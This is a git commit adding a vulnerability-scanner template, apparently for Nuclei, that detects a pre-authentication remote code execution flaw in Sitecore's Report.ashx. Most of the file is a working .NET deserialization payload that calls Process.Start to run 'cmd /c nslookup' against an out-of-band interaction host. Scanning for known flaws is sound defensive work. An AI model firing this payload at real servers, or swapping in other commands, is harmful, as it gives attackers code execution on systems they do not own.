Added Sitecore Experience Platform Pre-Auth RCE

patch-1
sandeep 2021-11-03 16:52:25 +05:30
parent dac6028b7e
commit c06cc9f690
1 changed files with 104 additions and 0 deletions

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id: sitecore-pre-auth-rce
info:
name: Sitecore Experience Platform Pre-Auth RCE
author: pdteam
severity: critical
description: This issue is related to a remote code execution vulnerability through insecure deserialization in the Report.ashx file. This file was used to drive the Executive Insight Dashboard (of Silverlight report) that was deprecated in 8.0 Initial Release.
tags: rce,sitecore,deserialization,oast
reference:
- https://blog.assetnote.io/2021/11/02/sitecore-rce/
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776
requests:
- raw:
- |
POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name="">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:x="http://www.w3.org/2001/XMLSchema"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<Count z:Id="2" z:Type="System.Int32" z:Assembly="0"
xmlns="">2</Count>
<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0"
xmlns="">
<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0"
xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"
xmlns:a="http://schemas.datacontract.org/2004/07/System">
<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0"
xmlns="">
<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
<a:delegateEntry z:Id="7">
<a:assembly z:Ref="6" i:nil="true"/>
<a:delegateEntry i:nil="true"/>
<a:methodName z:Id="8">Compare</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Ref="6" i:nil="true"/>
<a:targetTypeName z:Id="9">System.String</a:targetTypeName>
<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</a:delegateEntry>
<a:methodName z:Id="11">Start</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</Delegate>
<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="11" i:nil="true"/>
<AssemblyName z:Ref="12" i:nil="true"/>
<ClassName z:Ref="13" i:nil="true"/>
<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method0>
<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="8" i:nil="true"/>
<AssemblyName z:Ref="6" i:nil="true"/>
<ClassName z:Ref="9" i:nil="true"/>
<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method1>
</_comparison>
</Comparer>
<Version z:Id="23" z:Type="System.Int32" z:Assembly="0"
xmlns="">2</Version>
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2"
xmlns="">
<string z:Id="25"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c nslookup {{interactsh-url}}</string>
<string z:Id="26"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string>
</Items>
</ArrayOfstring>
</parameter>
</parameters>
</a>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: word
part: body
words:
- "System.ArgumentNullException"